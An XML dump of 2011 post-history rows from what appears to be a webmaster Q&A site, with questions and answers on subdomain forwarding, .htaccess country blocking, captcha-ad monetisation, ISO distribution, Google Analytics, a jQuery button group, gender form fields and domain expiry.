  <row Id="16626" PostHistoryTypeId="2" PostId="7809" RevisionGUID="53fd70ab-fdba-43b2-95bc-0e8331f3705b" CreationDate="2011-01-17T02:53:50.627" UserId="3283" Text="I have bought domain1.me from GoDaddy... (yeah, I know... but ME domain registrars seemed quite hard to find...) I'm mainly hosted at 1and1. I have registered subdomain sub1.domain1.me and redirected it to my 1and1 account. That should eventually work fine. Then I have registered sub2.domain1.me and tried to redirect it to a box at home. It works #1 when for HTTP. I can access SSH server without any problem when I use the IP directly, but not when using sub2.domain1.me:22. The way I see this, they (GoDaddy) are redirecting only on port 80 (why would they?). I have looked at 1and1 forwarding too and they ask for an URI starting with http so I guess that's the same behavior.&#xD;&#xA;&#xD;&#xA;What are you guys doing to be able to host stuff from home (HTTP, SSH, SVN, Git, etc. etc.) using a domain name to prevent everyone to have to remember your IP???&#xD;&#xA;&#xD;&#xA;Heeeelp!&#xD;&#xA;Thanks!" />
  <row Id="16627" PostHistoryTypeId="1" PostId="7809" RevisionGUID="53fd70ab-fdba-43b2-95bc-0e8331f3705b" CreationDate="2011-01-17T02:53:50.627" UserId="3283" Text="How to forward a [sub]domain to another address? (not just HTTP!)" />
  <row Id="16628" PostHistoryTypeId="3" PostId="7809" RevisionGUID="53fd70ab-fdba-43b2-95bc-0e8331f3705b" CreationDate="2011-01-17T02:53:50.627" UserId="3283" Text="&lt;redirects&gt;&lt;subdomain&gt;&lt;http&gt;" />
  <row Id="16629" PostHistoryTypeId="2" PostId="7810" RevisionGUID="ea1887a3-4596-480e-ab39-1e482e2b87a6" CreationDate="2011-01-17T03:05:28.673" UserId="4657" Text="I have a site which is only for US/Canada/UK visitors. I don't want to make it visible to other visitors.&#xD;&#xA;&#xD;&#xA;I tried to put ip ranges in .htaccess (Deny IP) but it does not work for me. May be I have inaccurate ip lists or I am doing something wrong. " />
  <row Id="16630" PostHistoryTypeId="1" PostId="7810" RevisionGUID="ea1887a3-4596-480e-ab39-1e482e2b87a6" CreationDate="2011-01-17T03:05:28.673" UserId="4657" Text="Blocking all countries except US/Canada/UK" />
  <row Id="16631" PostHistoryTypeId="3" PostId="7810" RevisionGUID="ea1887a3-4596-480e-ab39-1e482e2b87a6" CreationDate="2011-01-17T03:05:28.673" UserId="4657" Text="&lt;htaccess&gt;" />
  <row Id="16632" PostHistoryTypeId="5" PostId="7781" RevisionGUID="76c66e76-e6b3-4c42-a08f-2aad65e49ad7" CreationDate="2011-01-17T03:15:17.410" UserId="4643" Comment="added 13 characters in body" Text="I am a real dummy in [web monetizing][1] schemes.  &#xD;&#xA; &#xD;&#xA;[ 1 ] informs:&#xD;&#xA;&#xD;&#xA; - &quot;[Solve][2] [Media] charges a fee of about 25 cents to 50 cents for each form that is filled out using a Type-In ad [captcha]...  the company splits its fees 50-50 with the websites where the ads are placed&quot;  &#xD;&#xA;&#xD;&#xA;Honestly, I cannot imagine that someone (in its proper senses) pasy that much money for just one captcha passed.  &#xD;&#xA;And how to understand these claims?   &#xD;&#xA;&#xD;&#xA;http://www.solvemedia.com/images/ie9_aboutcalcount.png shows:  &#xD;&#xA;![alt text][3]&#xD;&#xA;&#xD;&#xA;Why would Microsot pay 0.25-0.5 USD for each entered string &quot;Be part of the Beta&quot;?  &#xD;&#xA;&#xD;&#xA;Has any of webmasters (sysadmins) got those from deployed SolveMedia captchas on their websites?  &#xD;&#xA;&#xD;&#xA;Is it scam? &#xD;&#xA;Because if to check the sites mentioned in http://www.solvemedia.com/gallery.html,  &#xD;&#xA;that is, for ex., http://www.toyotanation.com/forum/register.php?do=register, the latter do not have such captchas.  &#xD;&#xA;&#xD;&#xA;What do I miss?  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Cited:&#xD;&#xA;[ 1 ]  &#xD;&#xA;Jennifer Valentino-DeVries  &#xD;&#xA;&quot;An Online Ad That’s Tough to Ignore&quot;  &#xD;&#xA;WallStreet Journal Blog   &#xD;&#xA;SEPTEMBER 20, 2010   &#xD;&#xA;[http://blogs.wsj.com/digits/2010/09/20/an-online-ad-thats-tough-to-ignore][4]/ &#xD;&#xA;&#xD;&#xA;**Update:**  &#xD;&#xA;So, why don't I see the SolveMedia captchas from http://www.solvemedia.com/gallery.html on indicated there websites?  &#xD;&#xA;&#xD;&#xA;That is, I passed the registrations on respective websites and SplveMedia captcha did not appear:&#xD;&#xA;&#xD;&#xA;  - http://www.solvemedia.com/images/ie9_aboutcalcount.png on http://caloriecount.about.com/cc/account/getstarted.php; no captcha at all &#xD;&#xA;  - http://www.solvemedia.com/images/expedia_philly.jpg on http://www.philly.com/s?action=passwordReminder , no captcha at all&#xD;&#xA;&#xD;&#xA;http://www.solvemedia.com/images/toyota_nation.jpg is supposed to appear on   http://www.toyotanation.com/forum/register.php?do=register, but it is really protected by  vBulletin captcha :  &#xD;&#xA;![alt text][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Then, SolveMedia captcha is not even minimally protected, it can be automatically OCR-ed by a bot. If not, SolveMedia captchas are completely transparent to laundry and redirection attacks, i.e. re-transfer it by bots to (again automatically, through offered APIs) human solver sweatshops cracking them at 1 USD per 1000 solutions.   &#xD;&#xA;   &#xD;&#xA;Also, I do not get about paying for IE9 beta advertising. Isn't it proposed thкough Windows auto-update service to all who has Windows?   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Website_monetization&#xD;&#xA;  [2]: http://www.solvemedia.com/index.html&#xD;&#xA;  [3]: http://i.stack.imgur.com/KfOie.png&#xD;&#xA;  [4]: http://blogs.wsj.com/digits/2010/09/20/an-online-ad-thats-tough-to-ignore&#xD;&#xA;  [5]: http://i.stack.imgur.com/IV5uS.png" />
  <row Id="16633" PostHistoryTypeId="2" PostId="7811" RevisionGUID="1ac99a32-066b-4127-b2eb-1f5b589d204c" CreationDate="2011-01-17T04:14:51.080" UserId="1153" Text="I just point the dns for the hostname to my home ip address.  I have to repoint it when it changes - but that isn't very often." />
  <row Id="16634" PostHistoryTypeId="2" PostId="7812" RevisionGUID="33494fdd-841a-4529-8c86-942d4e368e85" CreationDate="2011-01-17T04:22:54.553" UserId="1940" Text="Perhaps try using something like Google Chrome's Developer Tools to see what elements of the page are taking longest to load.&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/bYEkN.png&#xD;&#xA;&#xD;&#xA;This will give you an indication of what is slowing down the page load (i.e. you might be relying on too many external content sources which take a few seconds to respond)" />
  <row Id="16635" PostHistoryTypeId="25" PostId="7809" RevisionGUID="5c985f4a-1e2d-4943-92d9-8c0a209df17d" CreationDate="2011-01-17T04:55:37.060" Comment="http://twitter.com/#!/StackWebmasters/status/26865197868122112" />
  <row Id="16640" PostHistoryTypeId="5" PostId="7781" RevisionGUID="bb927d9a-b266-44ab-be97-33527ad11bb0" CreationDate="2011-01-17T05:32:38.283" UserId="4643" Comment="deleted 1677 characters in body" Text="I am a real dummy in [web monetizing][1] schemes.  &#xD;&#xA; &#xD;&#xA;[ 1 ] informs that a captcha vendor:&#xD;&#xA;&#xD;&#xA; - &quot;charges a fee of about 25 cents to 50 cents for each form that is filled out using a Type-In ad [captcha]...  the company splits its fees 50-50 with the websites where the ads are placed&quot;  &#xD;&#xA;&#xD;&#xA;Honestly, I cannot imagine that someone (in its proper senses) pasy that much money for just one captcha passed.  &#xD;&#xA;And how to understand these claims?   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Has any of webmasters (sysadmins) got those 0.25 USD per each captcha (deployed on his/her website)  passing?  &#xD;&#xA;&#xD;&#xA;Is it scam? &#xD;&#xA;&#xD;&#xA;What do I miss?  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Cited:&#xD;&#xA;[ 1 ]  &#xD;&#xA;Jennifer Valentino-DeVries  &#xD;&#xA;&quot;An Online Ad That’s Tough to Ignore&quot;  &#xD;&#xA;WallStreet Journal Blog   &#xD;&#xA;SEPTEMBER 20, 2010   &#xD;&#xA;[http://blogs.wsj.com/digits/2010/09/20/an-online-ad-thats-tough-to-ignore][4]/ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Website_monetization&#xD;&#xA;  [4]: http://blogs.wsj.com/digits/2010/09/20/an-online-ad-thats-tough-to-ignore&#xD;&#xA;" />
  <row Id="16641" PostHistoryTypeId="5" PostId="7808" RevisionGUID="b03cebf9-fadf-40fc-bde5-d64e7eec4be4" CreationDate="2011-01-17T05:42:18.003" UserId="4656" Comment="added 309 characters in body" Text="I like Carson's approach. Both my product site and my blog site are created using wordpress, and the feeds are managed by feedburner. I searched the web and found feedburner may have [limited support for category][1], but wordpress can support [feed for category][2] very well. So The solution can be: &#xD;&#xA;&#xD;&#xA; - Create 2 feedburner feeds from my blog, one for all the posts of blog (feed1), and the other for one category specified for products (feed2).&#xD;&#xA; - Feed1 will be set as my feed for blog&#xD;&#xA; - Feed2 will be set as my feed for product site&#xD;&#xA;&#xD;&#xA;  [1]: http://www.labnol.org/internet/tools/feedburner-rss-feeds-faq-problems-tips/1199/&#xD;&#xA;  [2]: http://codex.wordpress.org/WordPress_Feeds&#xD;&#xA;&#xD;&#xA;Looks not too bad, the only concern is that subscribers may getting confused by 2 domains.&#xD;&#xA;&#xD;&#xA;Edit: However, when I start to think more about branding. Host 2 domains have no contribution to brand, just confusion. So the answer should be clear, www.domain.com/blog is better. Better for SEO, rank, and less confusion to visitors. But we do can make 2 different feeds for different types of visitors." />
  <row Id="16642" PostHistoryTypeId="5" PostId="7781" RevisionGUID="9a391654-b614-4306-9862-c4a9a835c8a7" CreationDate="2011-01-17T05:48:26.703" UserId="4643" Comment="added 608 characters in body" Text="I am a real dummy in [web monetizing][1] schemes.  &#xD;&#xA; &#xD;&#xA;[ 1 ] informs that a captcha vendor:&#xD;&#xA;&#xD;&#xA; - &quot;charges a fee of about 25 cents to 50 cents for each form that is filled out using a Type-In ad [captcha]...  the company splits its fees 50-50 with the websites where the ads are placed&quot;  &#xD;&#xA;&#xD;&#xA;There is a dozen of other similar captchas promoted as advertising platforms.  &#xD;&#xA;&#xD;&#xA;Honestly, I cannot imagine that someone (in its proper senses) pasy that much money for just one captcha passed.  &#xD;&#xA;And how to understand these claims?   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Has any of webmasters (sysadmins) got those 0.25 USD per each captcha (deployed on his/her website)  passing?  &#xD;&#xA;&#xD;&#xA;Is it scam? &#xD;&#xA;&#xD;&#xA;What do I miss?  &#xD;&#xA;&#xD;&#xA;**Update:**  &#xD;&#xA;Sorry, I cleaned and, as I hope, cleared my original question: &#xD;&#xA;Had anybody received those 50% from 50c per each captcha passing deployed on his website?&#xD;&#xA;&#xD;&#xA;This approach looks weird to me since those captchas aren't even minimally protected against automatic OCR passing by a bot. They are also completely transparent to laundry and redirection attacks, i.e. their re-transferring by bots to (again automatically, through offered APIs) human solver sweatshops cracking them at 1 USD per 1000 solutions.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Cited:&#xD;&#xA;[ 1 ]  &#xD;&#xA;Jennifer Valentino-DeVries  &#xD;&#xA;&quot;An Online Ad That’s Tough to Ignore&quot;  &#xD;&#xA;WallStreet Journal Blog   &#xD;&#xA;SEPTEMBER 20, 2010   &#xD;&#xA;[http://blogs.wsj.com/digits/2010/09/20/an-online-ad-thats-tough-to-ignore][4]/ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Website_monetization&#xD;&#xA;  [4]: http://blogs.wsj.com/digits/2010/09/20/an-online-ad-thats-tough-to-ignore&#xD;&#xA;" />
  <row Id="16643" PostHistoryTypeId="2" PostId="7815" RevisionGUID="1bc8d570-3d9a-41e8-b2f2-e816ffd7077e" CreationDate="2011-01-17T07:13:45.200" UserId="4632" Text="Can you give me a list of the best ASP.NET Web hosting companies situated in France?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16644" PostHistoryTypeId="1" PostId="7815" RevisionGUID="1bc8d570-3d9a-41e8-b2f2-e816ffd7077e" CreationDate="2011-01-17T07:13:45.200" UserId="4632" Text="ASP.NET Web Hosting in France" />
  <row Id="16645" PostHistoryTypeId="3" PostId="7815" RevisionGUID="1bc8d570-3d9a-41e8-b2f2-e816ffd7077e" CreationDate="2011-01-17T07:13:45.200" UserId="4632" Text="&lt;seo&gt;&lt;web-hosting&gt;" />
  <row Id="16646" PostHistoryTypeId="4" PostId="7815" RevisionGUID="7f8f00d8-5039-47ef-8008-c9dd37138b6e" CreationDate="2011-01-17T07:39:42.130" UserId="4632" Comment="edited title" Text="Which is the best ASP.NET Web Hosting in France???" />
  <row Id="16648" PostHistoryTypeId="2" PostId="7816" RevisionGUID="99ca00fd-f545-490c-b7cb-dd151516a0ba" CreationDate="2011-01-17T09:14:33.470" UserId="4662" Text="I want to distribute a LiveCD of my Open Source project.&#xD;&#xA;&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;~300MB ISO file.&lt;/li&gt;&#xD;&#xA;&lt;li&gt;No revenue, so no money.&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Around 1000 downloads per month expected.&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;What is the best way to distribute it?" />
  <row Id="16649" PostHistoryTypeId="1" PostId="7816" RevisionGUID="99ca00fd-f545-490c-b7cb-dd151516a0ba" CreationDate="2011-01-17T09:14:33.470" UserId="4662" Text="Best way to distribute an ISO? (open source, so must be free)" />
  <row Id="16650" PostHistoryTypeId="3" PostId="7816" RevisionGUID="99ca00fd-f545-490c-b7cb-dd151516a0ba" CreationDate="2011-01-17T09:14:33.470" UserId="4662" Text="&lt;web-hosting&gt;" />
  <row Id="16651" PostHistoryTypeId="2" PostId="7817" RevisionGUID="ee1ccc3c-0a30-4559-a401-e02c3c7ab397" CreationDate="2011-01-17T09:41:48.207" UserId="3467" Text="I work for a rather large adult website, and we're currently not using Google Analytics. There is an internal debate going on about whether we should start using Analytics, but there is hestitation from certain parties. The main argument is that they fear that Google will get too much insight into our website, and might even block us from the index as a result based on our adult content.&#xD;&#xA;&#xD;&#xA;Has anyone here ever had such an experience, or know stories about bad experiences with Google Analytics in such a manner? I personally think it will only improve our website if we were able to use Analytics, but the dev team was asked to look into possible negative effects. Any help would be appreciated." />
  <row Id="16652" PostHistoryTypeId="1" PostId="7817" RevisionGUID="ee1ccc3c-0a30-4559-a401-e02c3c7ab397" CreationDate="2011-01-17T09:41:48.207" UserId="3467" Text="Google Analytics - bad experiences? (esp. adult content)" />
  <row Id="16653" PostHistoryTypeId="3" PostId="7817" RevisionGUID="ee1ccc3c-0a30-4559-a401-e02c3c7ab397" CreationDate="2011-01-17T09:41:48.207" UserId="3467" Text="&lt;google&gt;&lt;analytics&gt;" />
  <row Id="16654" PostHistoryTypeId="2" PostId="7818" RevisionGUID="3fbaecc8-c294-4dfb-a290-5d1a369610ce" CreationDate="2011-01-17T10:33:08.987" UserId="4451" Text="I think you should use it.  I have done work for some major adult sites, and they all use GA.  They are not going to block you or anything like that.  If Google is indexing your site (on any level) they already know your content.  Google just treats any adult content site differently than non adult content. Google already blocks all adult sites from autocomplete, so no worry there on that point.  If you take a look at RealityKings and BangBros for example, they use GA.  And you cant get any bigger and better than those two sites, so they have to be doing it right.  If your dev team can come up with specific examples of what they are worried about, we might be able to give them a more detailed answer.  Most adult sites in my experience, have crappy seo and coding in general, except the bigger brand names.  And even so, some of the big ones still suck in the code/seo department.  I really think you can only benefit from GA.  It's going to help you pinpoint your good and bad pages, so you can improve specific pages or see that a certain page is doing well, seo wise." />
  <row Id="16655" PostHistoryTypeId="25" PostId="7817" RevisionGUID="1ac884b9-d68f-4f9f-8a0c-86e62a585fba" CreationDate="2011-01-17T10:55:36.830" Comment="http://twitter.com/#!/StackWebmasters/status/26955793936941056" />
  <row Id="16656" PostHistoryTypeId="2" PostId="7819" RevisionGUID="2a61ec03-88f2-438d-bc5c-850ac40f9667" CreationDate="2011-01-17T11:13:08.283" UserId="4424" Text="Requirement:&#xD;&#xA;  1. Buttons options are submitted part of form action&#xD;&#xA;  2. Only one option is allowed at a time (like radio button)&#xD;&#xA;  3. There are no bullets displayed&#xD;&#xA;  4. The button text 'button' is highlighted to indicate that it has been selected. &#xD;&#xA;  5. Prefer CSS over javascript&#xD;&#xA;&#xD;&#xA;Any suggestions on how to accomplish this?" />
  <row Id="16657" PostHistoryTypeId="1" PostId="7819" RevisionGUID="2a61ec03-88f2-438d-bc5c-850ac40f9667" CreationDate="2011-01-17T11:13:08.283" UserId="4424" Text="How to make buttons that highlight on select?" />
  <row Id="16658" PostHistoryTypeId="3" PostId="7819" RevisionGUID="2a61ec03-88f2-438d-bc5c-850ac40f9667" CreationDate="2011-01-17T11:13:08.283" UserId="4424" Text="&lt;css&gt;&lt;html&gt;&lt;javascript&gt;&lt;forms&gt;" />
  <row Id="16659" PostHistoryTypeId="2" PostId="7820" RevisionGUID="5226684e-f6a8-4ced-97cc-f4fd9950b3d6" CreationDate="2011-01-17T11:46:05.227" UserId="4424" Text="I want the user to feel like they are writing on notebook paper while inputting into a textarea. How may I do this? " />
  <row Id="16660" PostHistoryTypeId="1" PostId="7820" RevisionGUID="5226684e-f6a8-4ced-97cc-f4fd9950b3d6" CreationDate="2011-01-17T11:46:05.227" UserId="4424" Text="How to make textarea look like notebook?" />
  <row Id="16661" PostHistoryTypeId="3" PostId="7820" RevisionGUID="5226684e-f6a8-4ced-97cc-f4fd9950b3d6" CreationDate="2011-01-17T11:46:05.227" UserId="4424" Text="&lt;css&gt;&lt;html&gt;&lt;forms&gt;" />
  <row Id="16662" PostHistoryTypeId="2" PostId="7821" RevisionGUID="589511cd-2a96-4a15-9dc9-2c812641ea8f" CreationDate="2011-01-17T11:48:42.317" UserId="3718" Text="Several ways. You can use a notepaper background on a text area. So then it feels like the user is writing on paper. Then, using either @font-face or cufon, find a suitable hand writing text (I like Biro, especially in blue) and then assign the font type to the text area as this font.&#xD;&#xA;&#xD;&#xA;I think this is the easiest way to achieve what you want." />
  <row Id="16663" PostHistoryTypeId="2" PostId="7822" RevisionGUID="50065dd6-ba30-4fa3-833b-f60712fe2565" CreationDate="2011-01-17T11:56:19.257" UserId="205" Text="This would be easy with a bit of Javascript, but CSS alone seems like it'd be tough.  Suppose though that you use some JQuery...&#xD;&#xA;&#xD;&#xA;    &lt;div id=&quot;buttongroup&quot;&gt;&#xD;&#xA;       &lt;input type=&quot;hidden&quot; name=&quot;buttongroup_text&quot; id=&quot;buttongroup_text&quot; /&gt;&#xD;&#xA;       &lt;button class=&quot;radiobutton selected&quot;&gt;One&lt;/button&gt;&#xD;&#xA;       &lt;button class=&quot;radiobutton&quot;&gt;Two&lt;/button&gt;&#xD;&#xA;       &lt;button class=&quot;radiobutton&quot;&gt;Three&lt;/button&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;You can then add the following to the 'click' event for each button...&#xD;&#xA;&#xD;&#xA;    $(document).ready(function){&#xD;&#xA;        $('#buttongroup button').bind( 'click', function(){&#xD;&#xA;            $('#buttongroup button').removeClass( 'selected' );&#xD;&#xA;            $(this).addClass( 'selected' );&#xD;&#xA;        });&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This bit of code assigns a class to the clicked button, removing that class from the others at the time of the click.&#xD;&#xA;&#xD;&#xA;The last bit of work you need is to intercept the form submit and fill the value in for the hidden field to the text of the selected button.&#xD;&#xA;&#xD;&#xA;    $('#myform').submit(function(){&#xD;&#xA;        $('#buttongroup_text').val( $('#buttongroup button.selected').val() );&#xD;&#xA;        $(this).submit();&#xD;&#xA;    });&#xD;&#xA;&#xD;&#xA;That should send the text from the button in the hidden field of your choosing." />
  <row Id="16664" PostHistoryTypeId="2" PostId="7823" RevisionGUID="76cf1013-3e85-4652-bfc5-41ebbd15b30c" CreationDate="2011-01-17T11:59:01.650" UserId="4663" Text="The best option is http://sourceforge.net/, Its free and used by many open source developers." />
  <row Id="16665" PostHistoryTypeId="2" PostId="7824" RevisionGUID="2fc302a8-6f4a-4ca4-9c72-67345201080d" CreationDate="2011-01-17T12:04:50.613" UserId="205" Text="Submit it as a Bittorrent file and post your .torrent file." />
  <row Id="16666" PostHistoryTypeId="2" PostId="7825" RevisionGUID="5ce9870e-9b23-40a7-90ec-1af57da0ad0e" CreationDate="2011-01-17T12:30:48.850" UserId="4664" Text="If you want a torrent tracker for an open licensed project, you could use http://www.clearbits.net/ - the same people that StackOverflow use for their data dumps.&#xD;&#xA;&#xD;&#xA;Otherwise, as Imran points out, SourceForge will mirror it worldwide for you." />
  <row Id="16667" PostHistoryTypeId="10" PostId="7820" RevisionGUID="a58f14aa-a15c-41ef-aa31-75f23cfd395b" CreationDate="2011-01-17T12:51:16.937" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="16668" PostHistoryTypeId="10" PostId="7819" RevisionGUID="18cab31c-55a3-494a-861b-3959826887e3" CreationDate="2011-01-17T12:53:17.090" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="16669" PostHistoryTypeId="2" PostId="7826" RevisionGUID="8f397059-286f-4990-a48c-3c85da139f54" CreationDate="2011-01-17T13:34:29.317" UserId="4465" Text="I will convert a HTML design to Wordpress Theme. And we have to make an agreement via email . Which articles should i write to agreement ? Are there any draft for this ? Which agreements, you are using ?" />
  <row Id="16670" PostHistoryTypeId="1" PostId="7826" RevisionGUID="8f397059-286f-4990-a48c-3c85da139f54" CreationDate="2011-01-17T13:34:29.317" UserId="4465" Text="Signing User - Designer Agreement " />
  <row Id="16671" PostHistoryTypeId="3" PostId="7826" RevisionGUID="8f397059-286f-4990-a48c-3c85da139f54" CreationDate="2011-01-17T13:34:29.317" UserId="4465" Text="&lt;web-development&gt;&lt;wordpress&gt;&lt;design&gt;" />
  <row Id="16672" PostHistoryTypeId="25" PostId="7820" RevisionGUID="c98dee99-1d75-4c8a-91fb-665e2266a621" CreationDate="2011-01-17T13:55:37.100" Comment="http://twitter.com/#!/StackWebmasters/status/27001093498077185" />
  <row Id="16677" PostHistoryTypeId="2" PostId="7827" RevisionGUID="1f17ca37-0a80-4f45-8139-b7b0ecb4f27f" CreationDate="2011-01-17T14:45:38.827" UserId="3646" Text="For the why, it would depend on how they're redirecting.  &#xD;&#xA;&#xD;&#xA;If it's truly a HTTP Redirect then it can only redirect HTTP.  &#xD;&#xA;&#xD;&#xA;If they're doing port forwarding or an equivalent, they'd have to specify a port or port range to forward and it's generally considered more secure to limit it to specifically the ports you want.  I'm guessing the vast majority of people only need HTTP(S).  Maybe if you contact them they can make a special case for you.&#xD;&#xA;&#xD;&#xA;If they're just pointing DNS records, it should just work as far as I know.&#xD;&#xA;&#xD;&#xA;&gt; What are you guys doing to be able to&#xD;&#xA;&gt; host stuff from home (HTTP, SSH, SVN,&#xD;&#xA;&gt; Git, etc. etc.) using a domain name to&#xD;&#xA;&gt; prevent everyone to have to remember&#xD;&#xA;&gt; your IP???&#xD;&#xA;&#xD;&#xA;I generally don't.  I keep my source control and FTP etc with my hosting provider and that generally works well for me.  &#xD;&#xA;&#xD;&#xA;Before I had a hosting provider (aka back when I was a broke high school student) I used [No-IP][1] to get a free subdomain pointing to my machine.  If you don't need to use your own domain (i.e. it's just your friends or something) then you could go that route.  They might have a paid solution that lets you use your own domain, but I haven't used any of their paid stuff, so I can't say for sure.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.no-ip.com/services/managed_dns/free_dynamic_dns.html" />
  <row Id="16678" PostHistoryTypeId="2" PostId="7828" RevisionGUID="b2d1109c-2255-4d53-bb98-7b9cff8d2dd4" CreationDate="2011-01-17T15:31:04.760" UserId="1725" Text="When designing a form that asks for a person's gender, should I take any special consideration for hermaphrodites or trans-gendered persons, or is M/F good enough?&#xD;&#xA;&#xD;&#xA;Is defaulting the gender offensive to some persons?" />
  <row Id="16679" PostHistoryTypeId="1" PostId="7828" RevisionGUID="b2d1109c-2255-4d53-bb98-7b9cff8d2dd4" CreationDate="2011-01-17T15:31:04.760" UserId="1725" Text="Is it correct to just keep gender as male/female ?" />
  <row Id="16680" PostHistoryTypeId="3" PostId="7828" RevisionGUID="b2d1109c-2255-4d53-bb98-7b9cff8d2dd4" CreationDate="2011-01-17T15:31:04.760" UserId="1725" Text="&lt;usability&gt;&lt;website-features&gt;&lt;accessibility&gt;&lt;forms&gt;" />
  <row Id="16681" PostHistoryTypeId="2" PostId="7829" RevisionGUID="e55a10b8-69e7-49da-b31c-ef735f71b504" CreationDate="2011-01-17T15:47:49.797" UserId="3307" Text="You could put Male/Female/Do not wish to disclose (or something along those lines)&#xD;&#xA;&#xD;&#xA;Due to government forms that only specify M/F, I think that most have decided on what gender they are (most trans I've met have), but it might be an idea to give the third option.&#xD;&#xA;&#xD;&#xA;It's a similar issue as with titles. If you want to include everyone then you're going to need a large list of titles." />
  <row Id="16682" PostHistoryTypeId="2" PostId="7830" RevisionGUID="255bb093-ce56-4df9-8aed-4809c56e7fa0" CreationDate="2011-01-17T16:09:25.310" UserId="1253" Text="That's entirely up to you and your audience. If you believe that hermaphrodites and/or trans-gendered persons are going to make up a sizable portion of your audience then you should be more attentive to their needs and concerns. Also, if you offer some kind of functionality that is gender-related then you may want to drill a little deeper then &quot;boy&quot; or &quot;girl&quot;.&#xD;&#xA;&#xD;&#xA;Most websites, and most forms both paper and web, offer two options as they represent the overwhelming vast majority of people out there. It's safe to assume that most hermaphrodites and trans-gendered persons are used to seeing those as their only two options and will select the most appropriate one for them." />
  <row Id="16683" PostHistoryTypeId="2" PostId="7831" RevisionGUID="ea960d99-aa93-4e62-883e-55666687ed1b" CreationDate="2011-01-17T16:10:07.893" UserId="4666" Text="I had registered with a particular DNS provider X and I have been unhappy with their services and now when the time for renewal came, I did not renew and I let it expire. I am hoping that once it is expired from this provider, I would be able to sign up for the same domain name from an alternative provider which I have tested and I am satisfied.&#xD;&#xA;&#xD;&#xA;What kind of precautions should I take? The domain name is not a critical one, it is of a NGO and we prefer to own it again without any change in the name.&#xD;&#xA;&#xD;&#xA;The information given by the expiry notice says&#xD;&#xA;&#xD;&#xA;    Domains can be renewed between 90 days before and 14 days after the expiry date. If domains are not renewed they will be removed from the account and set for deletion.&#xD;&#xA;&#xD;&#xA;Should I wait for time till gets *deleted* at their end so that I can sign up for the same from another provider?" />
  <row Id="16684" PostHistoryTypeId="1" PostId="7831" RevisionGUID="ea960d99-aa93-4e62-883e-55666687ed1b" CreationDate="2011-01-17T16:10:07.893" UserId="4666" Text="Moving from one DNS provider to another" />
  <row Id="16685" PostHistoryTypeId="3" PostId="7831" RevisionGUID="ea960d99-aa93-4e62-883e-55666687ed1b" CreationDate="2011-01-17T16:10:07.893" UserId="4666" Text="&lt;domain-names&gt;" />
  <row Id="16687" PostHistoryTypeId="6" PostId="7828" RevisionGUID="3fcbf3af-bf6b-4245-9b59-2ba4f71d7c77" CreationDate="2011-01-17T16:27:32.353" UserId="1253" Comment="Removed &quot;usability, website-features , accessibility &quot; tags; added &quot;demographics&quot; tag" Text="&lt;forms&gt;&lt;demographics&gt;" />
  <row Id="16691" PostHistoryTypeId="2" PostId="7834" RevisionGUID="9987e11b-79a2-480b-a6b2-7dc6631a1229" CreationDate="2011-01-17T16:37:40.720" UserId="4669" Text="You could make the gender field a text input instead of a dropdown so that they feel free to describe themselves however they want. You'll need to check the database to translate this into whatever you want, e.g. currently male or female, in code." />
  <row Id="16692" PostHistoryTypeId="2" PostId="7835" RevisionGUID="60763410-78f6-46fd-a64d-02656754b2ea" CreationDate="2011-01-17T16:39:06.520" UserId="1253" Text="Letting it expire is an extremely risky thing to do. Their is a high probability that you will lose that domain to domain squatters who will try to sell it back to you at a higher price, to companies that use expired domains to send traffic to paying sites, or networks of ad based sites. Once your site is lost the odds of you getting back are slim and even then if the opportunity to purchase back arises it will cost you *a lot* more then a simple renewal would cost.&#xD;&#xA;&#xD;&#xA;A better idea would be to renew it with your current registrar and then transfer it to a new one. That way you maintain ownership of the domain through the entire process." />
  <row Id="16694" PostHistoryTypeId="25" PostId="7828" RevisionGUID="b3b22a25-eb04-4f1a-893e-2f499670f6b4" CreationDate="2011-01-17T16:55:36.537" Comment="http://twitter.com/#!/StackWebmasters/status/27046389535997953" />
  <row Id="16695" PostHistoryTypeId="2" PostId="7836" RevisionGUID="13f5d6e2-3a6f-4f06-aa73-5b1f89d5fd81" CreationDate="2011-01-17T17:09:11.387" UserDisplayName="JP19" Text="**Male / Female / No Answer** is probably better. **No Answer** will cover both cases : i) The person does not wish to disclose or ii) the other answers do not suit the person, and is less awkward than **Male / Female / Other**" />
  <row Id="16697" PostHistoryTypeId="5" PostId="7826" RevisionGUID="d6b9c2c8-a0fb-4a14-a9a5-a9bdc36b9928" CreationDate="2011-01-17T17:24:52.080" UserId="4465" Comment="added 18 characters in body" Text="I will convert a HTML design to Wordpress Theme for my customer. And we have to make an agreement via email . Which articles should i write to agreement ? Are there any draft for this ? Which agreements, you are using ?" />
  <row Id="16698" PostHistoryTypeId="5" PostId="7826" RevisionGUID="4bc9a058-b04e-4314-b895-7f74e5e2933f" CreationDate="2011-01-17T17:33:34.440" UserId="4465" Comment="added 1 characters in body" Text="I will convert an HTML design to Wordpress Theme for my customer. And we have to make an agreement via email . Which articles should i write to agreement ? Are there any draft for this ? Which agreements, you are using ?" />
